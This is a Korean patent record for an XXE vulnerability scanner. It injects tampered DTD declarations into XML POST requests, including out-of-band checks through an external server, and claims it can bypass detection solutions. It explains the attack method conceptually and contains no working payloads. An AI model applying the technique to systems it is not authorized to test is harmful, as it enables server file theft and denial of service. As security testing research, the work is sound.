KR102459418B1 - Apparatus and method for analyzing vulnerabilities - Google Patents

Apparatus and method for analyzing vulnerabilities Download PDF

Info

Publication number
KR102459418B1
KR102459418B1 KR1020200126212A KR20200126212A KR102459418B1 KR 102459418 B1 KR102459418 B1 KR 102459418B1 KR 1020200126212 A KR1020200126212 A KR 1020200126212A KR 20200126212 A KR20200126212 A KR 20200126212A KR 102459418 B1 KR102459418 B1 KR 102459418B1
Authority
KR
South Korea
Prior art keywords
uri
diagnosis
server
vulnerability
dtd
Prior art date
Application number
KR1020200126212A
Other languages
Korean (ko)
Other versions
KR20220042863A (en
Inventor
강봉구
이민섭
장원태
안준
윤지환
Original Assignee
네이버클라우드 주식회사
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by 네이버클라우드 주식회사 filed Critical 네이버클라우드 주식회사
Priority to KR1020200126212A priority Critical patent/KR102459418B1/en
Publication of KR20220042863A publication Critical patent/KR20220042863A/en
Application granted granted Critical
Publication of KR102459418B1 publication Critical patent/KR102459418B1/en

Links

Images

Classifications

    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L63/00Network architectures or network communication protocols for network security
    • H04L63/14Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic
    • H04L63/1433Vulnerability analysis
    • GPHYSICS
    • G06COMPUTING; CALCULATING OR COUNTING
    • G06FELECTRIC DIGITAL DATA PROCESSING
    • G06F21/00Security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
    • G06F21/50Monitoring users, programs or devices to maintain the integrity of platforms, e.g. of processors, firmware or operating systems
    • G06F21/55Detecting local intrusion or implementing counter-measures
    • G06F21/56Computer malware detection or handling, e.g. anti-virus arrangements
    • GPHYSICS
    • G06COMPUTING; CALCULATING OR COUNTING
    • G06FELECTRIC DIGITAL DATA PROCESSING
    • G06F21/00Security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
    • G06F21/50Monitoring users, programs or devices to maintain the integrity of platforms, e.g. of processors, firmware or operating systems
    • G06F21/57Certifying or maintaining trusted computer platforms, e.g. secure boots or power-downs, version controls, system software checks, secure updates or assessing vulnerabilities
    • G06F21/577Assessing vulnerabilities and evaluating computer system security
    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L63/00Network architectures or network communication protocols for network security
    • H04L63/14Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic
    • H04L63/1441Countermeasures against malicious traffic
    • H04L63/1466Active attacks involving interception, injection, modification, spoofing of data unit addresses, e.g. hijacking, packet injection or TCP sequence number attacks

Landscapes

  • Engineering & Computer Science (AREA)
  • Computer Security & Cryptography (AREA)
  • Computer Hardware Design (AREA)
  • General Engineering & Computer Science (AREA)
  • Theoretical Computer Science (AREA)
  • Software Systems (AREA)
  • Computing Systems (AREA)
  • Physics & Mathematics (AREA)
  • General Physics & Mathematics (AREA)
  • Computer Networks & Wireless Communication (AREA)
  • Signal Processing (AREA)
  • Health & Medical Sciences (AREA)
  • General Health & Medical Sciences (AREA)
  • Virology (AREA)
  • Computer And Data Communications (AREA)

Abstract

본 출원은 취약점 진단을 위한 취약점 진단방법 및 이를 위한 진단장치에 관한 것으로서, 본 발명의 일 실시예에 의한 취약점 진단방법은, 진단대상 서버로부터 추출한 진단대상 URI(Uniform Resource Identifier)를 수신하는 단계; 상기 진단대상 URI에 포함되는 XML(eXtensible Markup Language) 문서의 DTD(Document Type Definition) 영역 내에, 변조 DTD 구문을 더 포함하도록 변조하여, 변조 URI를 생성하는 단계; 상기 진단대상서버로 상기 변조 URI를 전송하여, 상기 진단대상 서버로 상기 변조 URI에 대한 응답을 요청하는 단계; 및 상기 진단대상 서버의 응답으로부터 상기 XXE 취약점의 존재여부를 판별하는 단계를 포함할 수 있다. The present application relates to a method for diagnosing a vulnerability for diagnosing a vulnerability and a diagnostic apparatus for the same. The method for diagnosing a vulnerability according to an embodiment of the present invention includes the steps of: receiving a URI (Uniform Resource Identifier) for diagnosis extracted from a server for diagnosis; generating a modulated URI by modulating to further include a modulated DTD syntax in a Document Type Definition (DTD) area of an XML (eXtensible Markup Language) document included in the diagnosis target URI; transmitting the forged URI to the diagnosis target server and requesting a response to the forged URI from the diagnosis target server; and determining whether the XXE vulnerability exists from the response of the server to be diagnosed.

Description

취약점 진단방법 및 이를 위한 진단장치 {Apparatus and method for analyzing vulnerabilities}{Apparatus and method for analyzing vulnerabilities}

본 출원은 XXE(XML External Entity) 취약점을 진단할 수 있는 취약점 진단방법 및 이를 위한 진단장치에 관한 것이다. The present application relates to a vulnerability diagnosis method capable of diagnosing an XML External Entity (XXE) vulnerability, and a diagnostic apparatus therefor.

최근 웹 서비스가 범람하고 웹 인터페이스가 사용자에게 친숙해짐에 따라 전통적 응용프로그램이 웹 기반 시스템으로 통합이 가속화되고 있다. 이러한, 웹 서비스의 발전 속에 웹 어플리케이션 자체의 문제점, 프로그래머의 보안에 대한 무지, 방화벽에서의 차단 불능, 침입탐지 회피 그리고 해킹 도구의 다양화와 같은 역기능이 심각한 문제점으로 부각되고 있다.With the recent proliferation of web services and user-friendly web interfaces, the integration of traditional applications into web-based systems is accelerating. In the development of web services, the problems of web applications themselves, programmers' ignorance of security, inability to block in firewalls, intrusion detection evasion, and adverse functions such as diversification of hacking tools are emerging as serious problems.

한편, XXE 취약점은 XML 파서(parser)가 취약하여, 외부 객체(External Entity)를 참조하는 XML값을 처리할 때, 공격자가 삽입한 공격 구문을 실행하여 발생하는 취약점으로, 공격자에 의한 서버내 중요파일에 대한 접근이나 서비스 거부 등이 발생할 수 있다. On the other hand, the XXE vulnerability is a vulnerability that occurs when the XML parser is weak, and when processing an XML value that refers to an external entity, the attacker executes an attack statement inserted by the attacker. Access to files or denial of service may occur.

XXE 취약점은 공격자들이 악성 코드를 웹 사이트에 주입하기 위해 가장 많이 사용된 취약점으로, 널리 알려진 취약점에 해당한다. 다만, 개발자들이 임의로 생성한 XML의 구조와 변수를 활용해야하는 점에서, 이에 대한 진단을 자동화하기에는 어려움이 존재한다. The XXE vulnerability is the most widely used vulnerability by attackers to inject malicious code into a website. However, there is a difficulty in automating the diagnosis in that the developers have to use the structure and variables of XML arbitrarily generated.

본 출원은, XXE 취약점을 진단할 수 있는 취약점 진단방법 및 이를 위한 진단장치를 제공하고자 한다.An object of the present application is to provide a method for diagnosing a vulnerability capable of diagnosing an XXE vulnerability and a diagnostic apparatus for the same.

본 출원은, XML 문서에 포함된 바디(body)영역의 태그 구조와 관계없이, 범용적으로 XXE 취약점을 진단할 수 있는 취약점 진단방법 및 이를 위한 진단장치를 제공하고자 한다.An object of the present application is to provide a vulnerability diagnosis method and a diagnostic apparatus for universally diagnosing XXE vulnerabilities, regardless of the tag structure of a body region included in an XML document.

본 발명의 일 실시예에 의한 취약점 진단방법은, XXE(XML eXternal Entity) 취약점을 진단하는 진단장치의 취약점 진단방법에 관한 것으로, 진단대상 서버로부터 추출한 진단대상 URI(Uniform Resource Identifier)를 수신하는 단계; 상기 진단대상 URI에 포함되는 XML(eXtensible Markup Language) 문서의 DTD(Document Type Definition) 영역 내에, 변조 DTD 구문을 더 포함하도록 변조하여, 변조 URI를 생성하는 단계; 상기 진단대상서버로 상기 변조 URI를 전송하여 상기 변조 URI에 대한 응답을 요청하는 단계; 및 상기 진단대상 서버의 응답으로부터 상기 XXE 취약점의 존재여부를 판별하는 단계를 포함할 수 있다. A vulnerability diagnosis method according to an embodiment of the present invention relates to a vulnerability diagnosis method of a diagnosis apparatus for diagnosing an XML eXternal Entity (XXE) vulnerability, comprising the steps of receiving a diagnosis target Uniform Resource Identifier (URI) extracted from a diagnosis target server ; generating a modulated URI by modulating to further include a modulated DTD syntax in a Document Type Definition (DTD) area of an XML (eXtensible Markup Language) document included in the diagnosis target URI; transmitting the forged URI to the diagnosis target server and requesting a response to the forged URI; and determining whether the XXE vulnerability exists from the response of the server to be diagnosed.

본 발명의 일 실시예에 의한 진단장치는, XXE(XML eXternal Entity) 취약점을 진단하는 진단장치에 관한 것으로, 진단대상 서버로부터 추출한 진단대상 URI(Uniform Resource Identifier)를 수신하는 URI 수집부; 상기 진단대상 URI에 포함되는 XML(eXtensible Markup Language) 문서의 DTD(Document Type Definition) 영역 내에, 변조 DTD 구문을 더 포함하도록 변조하여, 변조 URI를 생성하는 URI 변조부; 및 상기 진단대상서버로 상기 변조 URI를 전송하여 상기 변조 URI에 대한 응답을 요청하고, 상기 진단대상 서버의 응답으로부터 상기 XXE 취약점의 존재여부를 판별하는 진단부를 포함할 수 있다. A diagnostic apparatus according to an embodiment of the present invention relates to a diagnostic apparatus for diagnosing an XML eXternal Entity (XXE) vulnerability, comprising: a URI collecting unit for receiving a diagnostic object Uniform Resource Identifier (URI) extracted from a diagnostic object server; a URI modulator that modulates a document type definition (DTD) area of an XML (eXtensible Markup Language) document included in the diagnosis target URI to further include a modulated DTD syntax to generate a modulated URI; and a diagnosis unit that transmits the forged URI to the diagnosis target server, requests a response to the forged URI, and determines whether the XXE vulnerability exists from the response of the diagnosis target server.

덧붙여 상기한 과제의 해결수단은, 본 발명의 특징을 모두 열거한 것이 아니다. 본 발명의 다양한 특징과 그에 따른 장점과 효과는 아래의 구체적인 실시형태를 참조하여 보다 상세하게 이해될 수 있을 것이다.Incidentally, the means for solving the above problems do not enumerate all the features of the present invention. Various features of the present invention and its advantages and effects may be understood in more detail with reference to the following specific embodiments.

본 발명의 일 실시예에 의한 취약점 진단방법 및 이를 위한 진단장치에 의하면, XML 문서의 DTD 영역에 대한 변조를 이용하여 XXE 취약점을 진단할 수 있으므로, 각각의 XML 문서들의 바디영역의 태그 구조와는 관계없이, 범용적으로 XXE 취약점을 진단하는 것이 가능하다. According to the method for diagnosing a vulnerability and a diagnostic apparatus for the same according to an embodiment of the present invention, since the XXE vulnerability can be diagnosed using the modulation of the DTD area of the XML document, the tag structure of the body area of each XML document is different. Regardless, it is possible to diagnose XXE vulnerabilities in general.

본 발명의 일 실시예에 의한 취약점 진단방법 및 이를 위한 진단장치에 의하면, 기존의 탐지 솔루션 등을 용이하게 우회할 수 있으므로, 보다 효과적으로 XXE 취약점에 대한 진단을 수행할 수 있다. According to the method for diagnosing vulnerabilities and the apparatus for diagnosing the vulnerabilities according to an embodiment of the present invention, the existing detection solutions can be easily bypassed, and thus the XXE vulnerability can be diagnosed more effectively.

다만, 본 발명의 실시예들에 따른 취약점 진단방법 및 이를 위한 진단장치가 달성할 수 있는 효과는 이상에서 언급한 것들로 제한되지 않으며, 언급하지 않은 또 다른 효과들은 아래의 기재로부터 본 발명이 속하는 기술분야에서 통상의 지식을 가진 자에게 명확하게 이해될 수 있을 것이다.However, the effects that can be achieved by the method for diagnosing vulnerabilities and the diagnostic apparatus therefor according to the embodiments of the present invention are not limited to those mentioned above, and other effects not mentioned above are derived from the description below. It will be clearly understood by those of ordinary skill in the art.

도1은 본 발명의 일 실시예에 의한 취약점 진단 시스템을 나타내는 개략도이다.
도2는 본 발명의 일 실시예에 의한 진단장치를 나타내는 블록도이다.
도3 및 도4는 본 발명의 일 실시예에 의한 XML 문서의 변수 선언 및 호출을 나타내는 예시도이다.
도5는 본 발명의 일 실시예에 의한 취약점 진단 방법을 나타내는 순서도이다.
1 is a schematic diagram illustrating a vulnerability diagnosis system according to an embodiment of the present invention.
2 is a block diagram illustrating a diagnostic apparatus according to an embodiment of the present invention.
3 and 4 are exemplary diagrams illustrating variable declaration and call of an XML document according to an embodiment of the present invention.
5 is a flowchart illustrating a vulnerability diagnosis method according to an embodiment of the present invention.

이하, 첨부된 도면을 참조하여 본 명세서에 개시된 실시예를 상세히 설명하되, 도면 부호에 관계없이 동일하거나 유사한 구성요소는 동일한 참조 번호를 부여하고 이에 대한 중복되는 설명은 생략하기로 한다. 이하의 설명에서 사용되는 구성요소에 대한 접미사 "모듈" 및 "부"는 명세서 작성의 용이함만이 고려되어 부여되거나 혼용되는 것으로서, 그 자체로 서로 구별되는 의미 또는 역할을 갖는 것은 아니다. 즉, 본 발명에서 사용되는 '부'라는 용어는 소프트웨어, FPGA 또는 ASIC과 같은 하드웨어 구성요소를 의미하며, '부'는 어떤 역할들을 수행한다. 그렇지만 '부'는 소프트웨어 또는 하드웨어에 한정되는 의미는 아니다. '부'는 어드레싱할 수 있는 저장 매체에 있도록 구성될 수도 있고 하나 또는 그 이상의 프로세서들을 재생시키도록 구성될 수도 있다. 따라서, 일 예로서 '부'는 소프트웨어 구성요소들, 객체지향 소프트웨어 구성요소들, 클래스 구성요소들 및 태스크 구성요소들과 같은 구성요소들과, 프로세스들, 함수들, 속성들, 프로시저들, 서브루틴들, 프로그램 코드의 세그먼트들, 드라이버들, 펌웨어, 마이크로 코드, 회로, 데이터, 데이터베이스, 데이터 구조들, 테이블들, 어레이들 및 변수들을 포함한다. 구성요소들과 '부'들 안에서 제공되는 기능은 더 작은 수의 구성요소들 및 '부'들로 결합되거나 추가적인 구성요소들과 '부'들로 더 분리될 수 있다.Hereinafter, the embodiments disclosed in the present specification will be described in detail with reference to the accompanying drawings, but the same or similar components are assigned the same reference numerals regardless of reference numerals, and redundant description thereof will be omitted. The suffixes "module" and "part" for components used in the following description are given or mixed in consideration of only the ease of writing the specification, and do not have distinct meanings or roles by themselves. That is, the term 'unit' used in the present invention means a hardware component such as software, FPGA, or ASIC, and 'unit' performs certain roles. However, 'part' is not limited to software or hardware. The 'unit' may be configured to reside on an addressable storage medium and may be configured to refresh one or more processors. Thus, as an example, 'part' refers to components such as software components, object-oriented software components, class components and task components, processes, functions, properties, procedures, subroutines, segments of program code, drivers, firmware, microcode, circuitry, data, databases, data structures, tables, arrays and variables. Functions provided within components and 'units' may be combined into a smaller number of components and 'units' or further divided into additional components and 'units'.

또한, 본 명세서에 개시된 실시 예를 설명함에 있어서 관련된 공지 기술에 대한 구체적인 설명이 본 명세서에 개시된 실시예의 요지를 흐릴 수 있다고 판단되는 경우 그 상세한 설명을 생략한다. 또한, 첨부된 도면은 본 명세서에 개시된 실시예를 쉽게 이해할 수 있도록 하기 위한 것일 뿐, 첨부된 도면에 의해 본 명세서에 개시된 기술적 사상이 제한되지 않으며, 본 발명의 사상 및 기술 범위에 포함되는 모든 변경, 균등물 내지 대체물을 포함하는 것으로 이해되어야 한다.In addition, in describing the embodiments disclosed in the present specification, if it is determined that detailed descriptions of related known technologies may obscure the gist of the embodiments disclosed in the present specification, the detailed description thereof will be omitted. In addition, the accompanying drawings are only for easy understanding of the embodiments disclosed in the present specification, and the technical spirit disclosed herein is not limited by the accompanying drawings, and all changes included in the spirit and scope of the present invention , should be understood to include equivalents or substitutes.

도1은 본 발명의 일 실시예에 의한 취약점 진단 시스템을 나타내는 개략도이다. 1 is a schematic diagram illustrating a vulnerability diagnosis system according to an embodiment of the present invention.

도1을 참조하면, 본 발명의 일 실시예에 의한 취약점 진단 시스템은, 외부서버(10), 진단장치(100) 및 진단대상서버(200)를 포함할 수 있다.Referring to FIG. 1 , the vulnerability diagnosis system according to an embodiment of the present invention may include an external server 10 , a diagnosis apparatus 100 , and a diagnosis target server 200 .

이하, 도1을 참조하여 본 발명의 일 실시예에 의한 취약점 진단시스템을 설명한다. Hereinafter, a vulnerability diagnosis system according to an embodiment of the present invention will be described with reference to FIG. 1 .

진단장치(100)는 진단대상 서버(200)를 진단하여, 진단대상 서버(200)가 제공하는 웹 페이지, 웹 어플리케이션 등의 취약점을 추출할 수 있다. 즉, 진단대상 서버(200)의 하드웨어 또는 소프트웨어의 결함이나 설계상의 허점으로 인하여, 단말장치(1)의 사용자에게 허용된 권한 이상의 동작이나 허용된 범위 이상의 정보 열람, 변조, 유출을 가능하게 하는 약점에 대한 점검을 수행할 수 있다.The diagnosis apparatus 100 may diagnose the diagnosis target server 200 and extract vulnerabilities such as web pages and web applications provided by the diagnosis target server 200 . That is, due to defects in hardware or software of the diagnosis target server 200 or flaws in design, the user of the terminal device 1 operates more than the permitted authority, or a weakness that enables the reading, falsification, and leakage of information beyond the permitted range. can be checked for.

진단장치(100)는 복수의 진단모듈들을 포함할 수 있으며, 각각의 진단모듈들을 통하여 XXE(XML eXternal Entity) 취약점, 소스코드 노출, LFI(Local File Inclusion), SQL(Structured Query Language) Injection, XSS(Cross Site Scripting), SSRF(Server Side Request Forgery) 등 다양한 종류의 취약점에 대한 진단을 수행할 수 있다. 여기서 각각의 진단모듈들은 진단대상 서버(200)에 대한 모의공격 등을 수행하여, 진단대상 서버(200)의 취약점을 진단할 수 있다. 진단대상 서버(200)는 네트워크를 통하여 다양한 종류의 단말장치(1)들과 연결될 수 있으며, 각각의 단말장치(1)들에게 웹 서비스 등을 제공하는 웹 서버일 수 있다. 진단대상 서버(200)는 웹 서비스 제공을 위한 복수의 웹 페이지들을 포함할 수 있으며, 진단대상 서버(200)에는 각각의 웹 페이지를 제공하기 위한 복수의 URI(Uniform Resource Identifier)들이 포함될 수 있다. The diagnostic apparatus 100 may include a plurality of diagnostic modules, and through each diagnostic module, XML eXternal Entity (XXE) vulnerability, source code exposure, LFI (Local File Inclusion), SQL (Structured Query Language) Injection, XSS Various types of vulnerabilities such as (Cross Site Scripting) and SSRF (Server Side Request Forgery) can be diagnosed. Here, each of the diagnostic modules may perform a simulated attack on the server 200 to be diagnosed, and the like to diagnose the vulnerability of the server 200 to be diagnosed. The diagnosis target server 200 may be connected to various types of terminal devices 1 through a network, and may be a web server that provides a web service to each terminal device 1 . The diagnosis target server 200 may include a plurality of web pages for providing web services, and the diagnosis target server 200 may include a plurality of uniform resource identifiers (URIs) for providing each web page.

진단대상 서버(200)는 도1에 도시한 바와 같이 하드웨어와 소프트웨어 구성을 포함하는 별도의 물리적 구성으로 구현할 수 있며, 실시예에 따라서는 클라우드 서버 내의 가상머신으로 구현하는 것도 가능하다. The diagnosis target server 200 may be implemented as a separate physical configuration including a hardware and software configuration as shown in FIG. 1 , and may be implemented as a virtual machine in a cloud server according to an embodiment.

클라우드 서버는 클라우드 컴퓨팅(Cloud Computing)을 제공하는 서버일 수 있다. 클라우드 컴퓨팅은 인터넷 기술을 활용하여 IT 자원을 서비스로 제공하는 컴퓨팅 기술로서, 소프트웨어, 스토리지, 서버, 네트워크 장비 등의 IT 자원을 필요한 만큼 빌려서 사용하고, 서비스 부하에 따라서 실시간 확장성을 지원받으면서 사용한 만큼 비용을 지불하는 기술에 해당한다. 즉, 클라우딩 컴퓨팅은 가상화 기술을 이용하여 물리적 서버에 복수의 가상머신(VM: Virtual Machine)들을 실행할 수 있으며, 각각의 가상머신들은 상이한 운영체제, 서비스 등을 제공하는 가상 데스크탑, 스토리지, 서버들을 각각 구현할 수 있다. The cloud server may be a server that provides cloud computing. Cloud computing is a computing technology that provides IT resources as a service by utilizing Internet technology. It borrows and uses IT resources such as software, storage, servers, and network equipment as much as necessary, and supports real-time scalability according to the service load. It is the technology that pays for it. That is, cloud computing can run a plurality of virtual machines (VMs) on a physical server using virtualization technology, and each virtual machine is a virtual desktop, storage, and server that provide different operating systems and services, respectively. can be implemented

클라우드 서버는 내부에 복수의 진단대상 서버(200) 서버들을 포함할 수 있으며, 각각의 진단대상 서버(200)는 상이한 웹 서비스 등을 제공하는 웹 서버로 동작할 수 있다. 나아가, 실시예에 따라서는, 진단장치(100)를 클라우드 서버 내의 가상머신으로 구현하는 것도 가능하다.The cloud server may include a plurality of servers for diagnosis target 200 therein, and each server for diagnosis target 200 may operate as a web server that provides different web services and the like. Furthermore, according to an embodiment, the diagnosis apparatus 100 may be implemented as a virtual machine in a cloud server.

추가적으로, 취약점 진단 시스템 내에는 XXL 취약점 진단을 위한 외부서버(10)가 더 포함될 수 있다. 외부서버(10)는 진단장치(100)가 임의로 설정한 서버일 수 있으며, 외부서버(10)에는 미리 설정된 공격구문을 포함하는 DTD(Document Type Definition) 파일이 저장될 수 있다. Additionally, an external server 10 for diagnosing XXL vulnerabilities may be further included in the vulnerability diagnosis system. The external server 10 may be a server arbitrarily set by the diagnosis apparatus 100 , and a DTD (Document Type Definition) file including a preset attack phrase may be stored in the external server 10 .

여기서, 진단장치(100)는 OOB(Out of Band) 방식으로 XXL 취약점 진단을 수행하는 경우 외부서버(10)를 활용할 수 있으며, 모의 공격을 통해 진단대상서버(200)가 외부서버(10)로 접속하도록 유도할 수 있다. 이후, 진단대상서버(200)가 실제 외부서버(10)로 접속하게 되면, 외부서버(10)는 해당 DTD 파일을 제공하여 진단대상 서버(200)가 공격구문을 실행하도록 할 수 있다.Here, the diagnosis apparatus 100 may utilize the external server 10 when performing XXL vulnerability diagnosis in an out of band (OOB) method, and the diagnosis target server 200 is transferred to the external server 10 through a mock attack. may be encouraged to connect. Thereafter, when the diagnosis target server 200 actually connects to the external server 10 , the external server 10 may provide the corresponding DTD file so that the diagnosis target server 200 executes the attack syntax.

또한, 외부서버(10)는 접속한 각각의 객체들에 대한 접속기록정보를 생성할 수 있으며, 모의공격이 종료된 이후에는 진단장치(100)로 접속기록정보를 제공할 수 있다. 이 경우, 진단장치(100)는 접속기록정보를 이용하여 진단대상서버(200)에 대한 XXE 취약점을 판별하는 것도 가능하다.In addition, the external server 10 may generate access record information for each accessed object, and may provide access record information to the diagnosis apparatus 100 after the mock attack is finished. In this case, it is also possible for the diagnosis apparatus 100 to determine the XXE vulnerability of the diagnosis target server 200 by using the access record information.

한편, XXE 취약점은 진단대상 서버(200)의 XML 파서(parser)가 취약하여, 외부 객체(External Entity)를 참조하는 XML값을 처리할 때, 공격자가 삽입한 공격 구문을 실행함으로써, 서버 파일 접근이나 서비스 거부 등이 발생하는 취약점에 해당한다. On the other hand, in the XXE vulnerability, the XML parser of the server 200 to be diagnosed is weak, and when processing an XML value referring to an external object, the attacker executes the attack syntax inserted by the attacker to access the server file. This is a vulnerability that causes denial of service.

XXE 취약점의 경우 널리 알려진 취약점에 해당하지만, 개발자가 임의로 생성한 XML 문서의 구조와 변수를 활용하여야 하므로, XXE 취약점에 대한 진단을 자동화하기는 매우 어려운 문제점이 존재한다. Although the XXE vulnerability is a well-known vulnerability, it is very difficult to automate the diagnosis of the XXE vulnerability because the structure and variables of the XML document created by the developer must be used.

구체적으로, XXE 취약점에 따른 공격에 성공하기 위해서는, XML 문서 상의 DTD(Document Type Definition) 영역을 공격자가 개입하여 변경할 수 있어야 하며, 이후 공격자가 변경시킨 선언문을 호출하는 과정이 필요하다. 여기서, DTD 영역의 선언문을 변경하는 것은 용이하게 구현할 수 있으나, 변경된 선언문을 이용하여 공격구문을 호출하여 실행하기 위해서는, 추가적인 제한사항들이 존재한다. 즉, 기존의 정상적인 XML 문서의 바디(body) 영역의 태그 구조를 유지하여야 하며, 기존의 태그 구조 중에서 특정값을 파싱하여 활용하는 부분을 파악한 후, 해당 특정값을 변경된 선언문에서 포함시킨 변수 등으로 바꿔치기 할 필요가 있다. 그러나, 개발자가 임의로 생성한 각각의 XML 문서의 바디 영역의 태그 구조와 태그에 사용된 태그 이름들을 모두 맞추어 자동화하기에는 어려움이 존재한다. Specifically, in order to succeed in an attack based on the XXE vulnerability, an attacker must be able to intervene and change the DTD (Document Type Definition) area in the XML document, and then a process of calling the changed declaration by the attacker is required. Here, changing the declaration statement of the DTD area can be easily implemented, but there are additional restrictions in order to call and execute the attack statement using the changed declaration statement. In other words, it is necessary to maintain the tag structure of the body area of the existing normal XML document, and after identifying the part that parses and utilizes a specific value among the existing tag structures, the specific value is converted into a variable including the changed declaration statement. need to be replaced However, it is difficult to automate by matching both the tag structure of the body region of each XML document randomly generated by the developer and the tag names used in the tags.

이에, 본 발명에서는, 선언한 변수들을 바디 영역의 태그 구조가 아닌 DTD 영역 내에서 호출까지 수행하도록 함으로써, 원본 XML 문서의 구조를 따르지 않아도 공격을 수행할 수 있는 범용적인 XXE 취약점 진단방법을 제공하고자 한다. Accordingly, in the present invention, by allowing declared variables to be called within the DTD area rather than the tag structure of the body area, to provide a general XXE vulnerability diagnosis method that can perform an attack without following the structure of the original XML document. do.

도2는 본 발명의 일 실시예에 의한 진단장치를 나타내는 블록도이다. 2 is a block diagram illustrating a diagnostic apparatus according to an embodiment of the present invention.

도2를 참조하면, 본 발명의 일 실시예에 의한 진단장치는 URI 수집부(110), URI 변조부(120) 및 진단부(130)를 포함할 수 있다.Referring to FIG. 2 , a diagnosis apparatus according to an embodiment of the present invention may include a URI collection unit 110 , a URI modulator 120 , and a diagnosis unit 130 .

URI 수집부(110)는 진단대상 서버(200)로부터 추출한 진단대상 URI를 수신할 수 있다. 진단대상 서버(200)에는 복수의 진단대상 URI들이 포함될 수 있으며, URI 수집부(110)는 진단대상 서버(200)로부터 각각의 진단대상 URI들을 수집할 수 있다. 실시예에 따라서는, 웹 크롤러(web crawler)를 이용하여 진단대상 URI를 수집하는 것도 가능하다.The URI collection unit 110 may receive the diagnosis target URI extracted from the diagnosis target server 200 . The diagnosis subject server 200 may include a plurality of diagnosis subject URIs, and the URI collection unit 110 may collect each diagnosis subject URI from the diagnosis subject server 200 . According to an embodiment, it is also possible to collect the diagnostic target URI using a web crawler.

URI 변조부(120)는 진단대상 URI에 포함되는 XML 문서의 DTD 영역 내에, 변조 DTD 구문을 더 포함하도록 변조하여 변조 URI를 생성할 수 있다. 여기서, URI 변조부(120)는 진단대상 URI 중에서, POST 형식을 가지는 진단대상 URI를 이용하여 변조 URI를 생성할 수 있다. 즉, GET 형식의 진단대상 URI의 경우 XML 문서를 포함하지 않으므로, XML 문서를 가질 수 있는 POST 형식의 진단대상 URI를 대상으로 변조 URI를 생성할 수 있다.The URI modulator 120 may generate a modulated URI by modulating it to further include a modulated DTD syntax in the DTD area of the XML document included in the diagnosis target URI. Here, the URI modulator 120 may generate a modulation URI by using a diagnosis target URI having a POST format among the diagnosis target URIs. That is, since an XML document is not included in the case of a GET-type diagnosis target URI, a tampered URI can be generated targeting a POST-type diagnosis target URI that can have an XML document.

일반적으로, XML 문서는 도3 및 도4에 도시한 바와 같은 구조를 가질 수 있다. 도3을 참조하면, XML 문서는 XML 선언(a)을 포함할 수 있으며, DTD 영역(b)을 통하여 각각의 태그들의 이름 등을 선언할 수 있다. 이후, 바디영역(c)에는 정의된 태그의 이름(note, to, from, message)과 함께 대응하는 컨텐츠 등 데이터(홍길동, 허생원, 연락주세요)가 포함될 수 있다. In general, the XML document may have a structure as shown in FIGS. 3 and 4 . Referring to FIG. 3 , the XML document may include an XML declaration (a), and the name of each tag may be declared through the DTD area (b). Thereafter, the body region c may include data (Gil-Dong Hong, Saeng-Won Heo, please contact me) such as corresponding contents along with the defined tag names (note, to, from, message).

여기서, DTD 영역(b) 내의 태그들에 대한 선언은 도4(a)와 같이 동일한 XML 문서 내에서 수행될 수 있으며, 도4(b)와 같이 외부의 다른 XML 문서를 이용하여 수행하는 것도 가능하다. 즉, 도4(a)에서는 "note"를 "DOCTYPE"으로 선언하면서, "note"에 포함되는 각각의 요소들인 "to", from", "message"를 동일한 XML 문서 내에서 정의하고 있음을 확인할 수 있다. 반면에, 도4(b)의 경우에는 "note"를 "DOCTYPE"으로 선언하면서, 외부의 "note.dtd" 파일을 참조하도록 정의하고 있음을 확인할 수 있다.Here, the declaration of tags in the DTD area (b) may be performed within the same XML document as shown in FIG. 4(a), and may also be performed using another external XML document as shown in FIG. do. That is, in Fig. 4(a), while declaring "note" as "DOCTYPE", it can be confirmed that each element included in "note", "to", from", and "message", is defined in the same XML document. On the other hand, in the case of Fig. 4(b), it can be seen that "note" is declared as "DOCTYPE" and defined to refer to an external "note.dtd" file.

한편, URI 변조부(120)는 DTD 영역(b) 내에 변조 DTD 구문을 추가할 수 있으며, 이를 이용하여 DTD 영역 내에서 진단대상 서버(200) 내에 포함되는 공격대상 파일에 대한 선언과, 해당 공격대상 파일에 대한 호출까지 수행하도록 변조할 수 있다. 여기서, 변조 DTD 구문은 미리 설정되어 있을 수 있다. URI 변조부(120)는 도4(a)와 같이 동일한 XML 문서 내에 직접 변조 DTD 구문을 포함하거나, 도4(b)와 같이 OOB(Out Of Band) 방식으로 변조 DTD 구문을 포함시킬 수 있다.On the other hand, the URI modulator 120 may add a tampered DTD syntax in the DTD area (b), and use this to declare the attack target file included in the diagnosis target server 200 in the DTD area and the corresponding attack. It can be modulated to even perform a call to the target file. Here, the modulation DTD syntax may be preset. The URI modulator 120 may include the modulated DTD syntax directly in the same XML document as shown in FIG. 4(a) or may include the modulated DTD syntax in an out-of-band (OOB) method as shown in FIG. 4(b).

OOB 방식의 경우, URI 변조부(120)는 DTD 영역 내의 "DOCTYPE"과 "SYSTEM" 명령어를 이용하여, 진단대상 서버(200) 내에 포함된 공격대상 파일을 선언할 수 있다. In the case of the OOB method, the URI modulator 120 may declare an attack target file included in the diagnosis target server 200 by using "DOCTYPE" and "SYSTEM" commands in the DTD area.

일반적인 XXE 취약점 공격시에는 XML의 "ENTITY" 명령어를 이용하여 DTD영역에 개입하지만, URI 변조부(120)는 "DOCTYPE"을 활용하여 DTD 영역 내에 변수 등을 선언하고 참조하도록 할 수 있다. "DOCTYPE"으로 선언하는 경우, 따로 호출하지 않아도 선언하는 즉시 해당 변수를 로드(load)할 수 있으나, 네임스페이스에 저장하는 형태가 아니므로, 페이지 내에서의 출력은 불가능하다. In the case of a general XXE vulnerability attack, the XML "ENTITY" command is used to intervene in the DTD area, but the URI modulator 120 may use "DOCTYPE" to declare and refer to variables in the DTD area. In case of declaring "DOCTYPE", the variable can be loaded immediately after declaration without a separate call.

